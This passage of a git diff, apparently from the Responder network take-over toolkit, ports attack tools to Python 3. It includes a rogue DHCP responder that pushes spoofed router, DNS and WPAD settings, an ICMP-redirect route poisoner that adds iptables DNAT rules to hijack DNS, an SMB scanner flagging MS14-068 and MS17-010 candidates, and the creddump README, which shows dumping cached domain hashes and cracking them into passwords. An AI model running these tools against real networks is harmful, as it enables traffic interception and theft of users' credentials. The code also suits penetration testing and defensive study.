"\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server - ("Op255", "\xff"), - ("Padding", "\x00"), - ]) + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("DHCPCode", "\x35"), #DHCP Message + ("DHCPCodeLen", "\x01"), + ("DHCPOpCode", "\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op51", "\x33"), + ("Op51Len", "\x04"), + ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server + ("Op255", "\xff"), + ("Padding", "\x00"), + ]) - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) - self.fields["Op1Str"] = socket.inet_aton(NETMASK) - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) - self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) + self.fields["Op1Str"] = socket.inet_aton(NETMASK) + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) + self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) class DHCPInformACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("Op53", "\x35\x01\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server. - ("Op255", "\xff"), - ]) + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("Op53", "\x35\x01\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server. + ("Op255", "\xff"), + ]) - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) - self.fields["Op1Str"] = socket.inet_aton(NETMASK) - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) - self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) + self.fields["Op1Str"] = socket.inet_aton(NETMASK) + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) + self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) def SpoofIP(Spoof): - return ROUTERIP if Spoof else Responder_IP + return ROUTERIP if Spoof else Responder_IP def RespondToThisIP(ClientIp): - if ClientIp.startswith('127.0.0.'): - return False - elif RespondTo and ClientIp not in RespondTo: - return False - elif ClientIp in RespondTo or RespondTo == []: - if ClientIp not in DontRespondTo: - return True - return False + if ClientIp.startswith('127.0.0.'): + return False + elif RespondTo and ClientIp not in RespondTo: + return False + elif ClientIp in RespondTo or RespondTo == []: + if ClientIp not in DontRespondTo: + return True + return False def ParseSrcDSTAddr(data): - SrcIP = socket.inet_ntoa(data[0][26:30]) - DstIP = socket.inet_ntoa(data[0][30:34]) - SrcPort = struct.unpack('>H',data[0][34:36])[0] - DstPort = struct.unpack('>H',data[0][36:38])[0] - return SrcIP, SrcPort, DstIP, DstPort + SrcIP = socket.inet_ntoa(data[0][26:30]) + DstIP = socket.inet_ntoa(data[0][30:34]) + SrcPort = struct.unpack('>H',data[0][34:36])[0] + DstPort = struct.unpack('>H',data[0][36:38])[0] + return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]) + IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) + return ''.join(IP[0:4]) def ParseDHCPCode(data): - PTid = data[4:8] - Seconds = data[8:10] - CurrentIP = socket.inet_ntoa(data[12:16]) - RequestedIP = socket.inet_ntoa(data[16:20]) - MacAddr = data[28:34] - MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() - OpCode = data[242:243] - RequestIP = data[245:249] + PTid = data[4:8] + Seconds = data[8:10] + CurrentIP = socket.inet_ntoa(data[12:16]) + RequestedIP = socket.inet_ntoa(data[16:20]) + MacAddr = data[28:34] + MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() + OpCode = data[242:243] + RequestIP = data[245:249] - # DHCP Inform - if OpCode == "\x08": - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) - Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), - GiveClientIP=socket.inet_aton("0.0.0.0"), - NextServerIP=socket.inet_aton("0.0.0.0"), - RelayAgentIP=socket.inet_aton("0.0.0.0"), - ElapsedSec=Seconds) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) - return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) - return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) - return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + # DHCP Inform + if OpCode == "\x08": + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) + Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), + GiveClientIP=socket.inet_aton("0.0.0.0"), + NextServerIP=socket.inet_aton("0.0.0.0"), + RelayAgentIP=socket.inet_aton("0.0.0.0"), + ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) + return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) + Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) + return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) + Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) + return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) def SendDHCP(packet,Host): - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) - s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(packet, Host) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + s.sendto(packet, Host) if __name__ == "__main__": - s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) - s.bind((Interface, 0x0800)) + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) + s.bind((Interface, 0x0800)) - while True: - try: - data = s.recvfrom(65535) - if data[0][23:24] == "\x11": # is udp? - SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) + while True: + try: + data = s.recvfrom(65535) + if data[0][23:24] == "\x11": # is udp? + SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) - if SrcPort == 67 or DstPort == 67: - ret = ParseDHCPCode(data[0][42:]) - if ret: - print text("[DHCP] %s" % ret) - - except KeyboardInterrupt: - sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) + if SrcPort == 67 or DstPort == 67: + ret = ParseDHCPCode(data[0][42:]) + if ret: + print(text("[DHCP] %s" % ret)) + except KeyboardInterrupt: + sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index d912cca..d6f6846 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -34,23 +34,23 @@ def GetBootTime(data): def IsDCVuln(t, host): if t[0] == 0: - print "Server", host[0], "did not disclose its boot time" + print("Server", host[0], "did not disclose its boot time") return - + Date = datetime.datetime(2014, 11, 17, 0, 30) if t[0] < Date: - print "System is up since:", t[1] - print "This system may be vulnerable to MS14-068" - Date = datetime.datetime(2017, 03, 14, 0, 30) + print("System is up since:", t[1]) + print("This system may be vulnerable to MS14-068") + Date = datetime.datetime(2017, 0o3, 14, 0, 30) if t[0] < Date: - print "System is up since:", t[1] - print "This system may be vulnerable to MS17-010" - print "Server", host[0], "is up since:", t[1] + print("System is up since:", t[1]) + print("This system may be vulnerable to MS17-010") + print("Server", host[0], "is up since:", t[1]) def run(host): s = socket(AF_INET, SOCK_STREAM) - s.settimeout(5) + s.settimeout(5) try: s.connect(host) @@ -64,7 +64,7 @@ def run(host): data = s.recv(1024) if data[4:5] == "\xff": - print "Server", host[0], "doesn't support SMBv2" + print("Server", host[0], "doesn't support SMBv2") if data[4:5] == "\xfe": IsDCVuln(GetBootTime(data[116:124]), host) @@ -75,10 +75,10 @@ def run(host): s.close() pass -def atod(a): +def atod(a): return struct.unpack("!L",inet_aton(a))[0] -def dtoa(d): +def dtoa(d): return inet_ntoa(struct.pack("!L", d)) if __name__ == "__main__": diff --git a/tools/FindSQLSrv.py b/tools/FindSQLSrv.py index c8affa1..a5bb231 100755 --- a/tools/FindSQLSrv.py +++ b/tools/FindSQLSrv.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -16,7 +16,7 @@ # along with this program. If not, see . from socket import * -print 'MSSQL Server Finder 0.1' +print('MSSQL Server Finder 0.2') s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) @@ -24,17 +24,15 @@ s.settimeout(2) s.sendto('\x02',('255.255.255.255',1434)) try: - while 1: - data, address = s.recvfrom(8092) - if not data: - break - else: - print "===============================================================" - print "Host details:",address[0] - print data[2:] - print "===============================================================" - print "" + while 1: + data, address = s.recvfrom(8092) + if not data: + break + else: + print("===============================================================") + print(("Host details: %s"%(address[0]))) + print((data[2:])) + print("===============================================================") + print("") except: - pass - - + pass diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index c71b240..f2e6e85 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa options, args = parser.parse_args() if options.OURIP is None: - print "-i mandatory option is missing.\n" + print("-i mandatory option is missing.\n") parser.print_help() exit(-1) elif options.OriginalGwAddr is None: - print "-g mandatory option is missing, please provide the original gateway address.\n" + print("-g mandatory option is missing, please provide the original gateway address.\n") parser.print_help() exit(-1) elif options.VictimIP is None: - print "-t mandatory option is missing, please provide a target.\n" + print("-t mandatory option is missing, please provide a target.\n") parser.print_help() exit(-1) elif options.Interface is None: - print "-I mandatory option is missing, please provide your network interface.\n" + print("-I mandatory option is missing, please provide your network interface.\n") parser.print_help() exit(-1) elif options.ToThisHost is None: - print "-r mandatory option is missing, please provide a destination target.\n" + print("-r mandatory option is missing, please provide a destination target.\n") parser.print_help() exit(-1) @@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr): data = s.recv(1024) DstMac = data[22:28] DestMac = DstMac.encode('hex') - PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) + PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)]) return PrintMac,DstMac except: - print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) + print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)) exit(1) def IcmpRedirectSock(DestinationIP): PrintMac,DestMac = ReceiveArpFrame(VictimIP) - print '[ARP]Target Mac address is :',PrintMac + print('[ARP]Target Mac address is :',PrintMac) PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) - print '[ARP]Router Mac address is :',PrintMac + print('[ARP]Router Mac address is :',PrintMac) s = socket(AF_PACKET, SOCK_RAW) Protocol = 0x0800 s.bind((Interface, Protocol)) @@ -210,7 +210,7 @@ def IcmpRedirectSock(DestinationIP): IPPack.calculate() final = str(Eth)+str(IPPack) s.send(final) - print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) + print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)) def FindWhatToDo(ToThisHost2): if ToThisHost2 != None: @@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip): ouripadd = pipes.quote(ip) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) - print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." + print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.") while True: IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns2) - print "[+]Repoisoning the target in 8 minutes..." + print("[+]Repoisoning the target in 8 minutes...") sleep(480) FindWhatToDo(ToThisHost2) diff --git a/tools/MultiRelay/creddump/.gitignore b/tools/MultiRelay/creddump/.gitignore new file mode 100644 index 0000000..fbb9a38 --- /dev/null +++ b/tools/MultiRelay/creddump/.gitignore @@ -0,0 +1,120 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# PyCharm +.idea + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +.pylintrc diff --git a/tools/MultiRelay/creddump/CHANGELOG b/tools/MultiRelay/creddump/CHANGELOG index 4c8dfd6..42cdb40 100644 --- a/tools/MultiRelay/creddump/CHANGELOG +++ b/tools/MultiRelay/creddump/CHANGELOG @@ -6,4 +6,4 @@ Version: 0.3 Date: 8/1/2012 Version: 0.2 Date: 2/24/2011 * Fixed issue with wrong format specifier being used (L instead of I), which -caused creddump to fail on 64-bit systems. + caused creddump to fail on 64-bit systems. diff --git a/tools/MultiRelay/creddump/README.md b/tools/MultiRelay/creddump/README.md new file mode 100644 index 0000000..8b5b80c --- /dev/null +++ b/tools/MultiRelay/creddump/README.md @@ -0,0 +1,182 @@ +#Information +This repo is for my modifications to the original 'creddump' program available +at: + +https://code.google.com/p/creddump/ + +I did not write the original program. + +I have combined many patches and fixes I have seen from different forums and +user suggestions, as well as modified the usage to make it a little more clear. + +I followed patches and fixes from the following links: + +* https://code.google.com/p/creddump/issues/detail?id=4 +* https://code.google.com/p/volatility/issues/detail?id=92 + +Enjoy! +Ronnie Flathers (@ropnop) + + +###Usage +Mount a Windows 7/Vista partition: +``` +# mkdir /mnt/win +# ntfs-3g /dev/sda1 /mnt/win +``` + +Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds: +``` +# ./cachedump.py +usage: ./cachedump.py + +Example (Windows Vista/7): +./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true + +Example (Windows XP): +./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false + +# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes +nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local +god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local +``` + +If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format: +``` +# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes +Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x]) +g0d (god) +Welcome1! (nharpsis) +``` + +We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat. + + +####Below is the original README file + + +OVERVIEW + +creddump is a python tool to extract various credentials and secrets from +Windows registry hives. It currently extracts: +* LM and NT hashes (SYSKEY protected) +* Cached domain passwords +* LSA secrets + +It essentially performs all the functions that bkhive/samdump2, +cachedump, and lsadump2 do, but in a platform-independent way. + +It is also the first tool that does all of these things in an offline +way (actually, Cain & Abel does, but is not open source and is only +available on Windows). + +REQUIREMENTS + +alldump has only been tested on python 2.5. It should work on 2.4 as +well, but will likely need modification before it will work on 2.3 or +below. + +python-crypto is required for its MD5/DES/RC4 support. To obtain it, +see: http://www.amk.ca/python/code/crypto + +For lsadump: system and SECURITY hives +For cachedump: system and SECURITY hives +For pwdump: system and SAM hives + +USAGE + +Dump cached domain hashes: + usage: ./cachedump.py + +Dump LSA secrets: + usage: ./lsadump.py + +Dump local password hashes: + usage: ./pwdump.py + +FEATURES + +* Platform independent operation. The only inputs are the hive files + from the system--we don't rely on any Windows functionality at all. +* Open-source and (hopefully!) readble implementations of Windows + obfuscation algorithms used to protect LSA secrets, cached domain + passwords, and +* A reasonably forgiving registry file parser in pure Python. Look + through framework/types.py and framework/win32/rawreg.py to see how it + works. +* The first complete open-source implementation of advapi32's + SystemFunction005. The version in the Wine source code does not + appear to allow for keys longer than 7 bytes, while the Windows + version (and this version) does. See decrypt_secret() in + framework/win32/lsasecrets.py + +AUTHOR + +creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu). +For more information on Syskey, LSA secrets, cached domain credentials, +and lots of information on volatile memory forensics and reverse +engineering, check out: + +http://moyix.blogspot.com/ + +CREDITS +* AAron Walters. Much of the data type parsing code is taken from + Volatility, an excellent memory analysis framework written in Python. + He's also a really nice guy, and has helped me out a lot in my + research. + + https://www.volatilesystems.com/default/volatility + +* Massimiliano Montoro (mao), for reversing the mechanism Windows uses + to derive the LSA key so that it can be computed directly from the + hive files, as decribed in this post: + + http://oxid.netsons.org/phpBB2/viewtopic.php?t=149 + http://www.oxid.it/ + +* Jeremy Allison, for the details of the obfuscation applied to password + hashes in the SAM, as implemented in the original pwdump. + + http://us4.samba.org/samba/ftp/pwdump/ + +* Nicola Cuomo, for his excellent description of the syskey mechanism + and how it is used to encrypt the SAM in Windows 2000 and above. + + http://www.studenti.unina.it/~ncuomo/syskey/ + +* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to + read LSA secrets directly from the registry, given the LSA key. + + http://www.xfocus.net/articles/200411/749.html + + [Note: the above is in Chinese, but quite comprehensible if you use + Google Translate and can read C ;)] + +* Nicholas Ruff, for his perl implementation of des_set_odd_parity, + which he apparently took from SSLEAY: + + http://seclists.org/pen-test/2005/Jan/0180.html + +* Arnaud Pilon, for the details of how to retrieve cached domain, as + implemented in cachedump. + + http://www.securiteam.com/tools/5JP0I2KFPA.html + +* S�bastien Ke, for his cute hexdump recipe: + + http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 + +LICENSE + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . diff --git a/tools/MultiRelay/creddump/cachedump.py b/tools/MultiRelay/creddump/cachedump.py old mode 100644 new mode 100755 index 591214a..c059699 --- a/tools/MultiRelay/creddump/cachedump.py +++ b/tools/MultiRelay/creddump/cachedump.py @@ -15,19 +15,34 @@ # You should have received a copy of the GNU General Public License # along with creddump. If not, see . +# pylint: disable=invalid-name,missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ - import sys from framework.win32.domcachedump import dump_file_hashes -if len(sys.argv) < 3: - print "usage: %s bootkey " % sys.argv[0] + +def showUsage(): + print("usage: %s " % sys.argv[0]) + print("\nExample (Windows Vista/7):") + print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0]) + print("\nExample (Windows XP):") + print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0]) + + +if len(sys.argv) < 4: + showUsage() sys.exit(1) -dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) +if sys.argv[3].lower() not in ["true", "false"]: + showUsage() + sys.exit(1) +vista = sys.argv[3].lower() == "true" + +dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3]) diff --git a/tools/MultiRelay/creddump/framework/addrspace.py b/tools/MultiRelay/creddump/framework/addrspace.py index fad81a1..fe42d57 100755 --- a/tools/MultiRelay/creddump/framework/addrspace.py +++ b/tools/MultiRelay/creddump/framework/addrspace.py @@ -13,11 +13,11 @@ # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. +# General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, 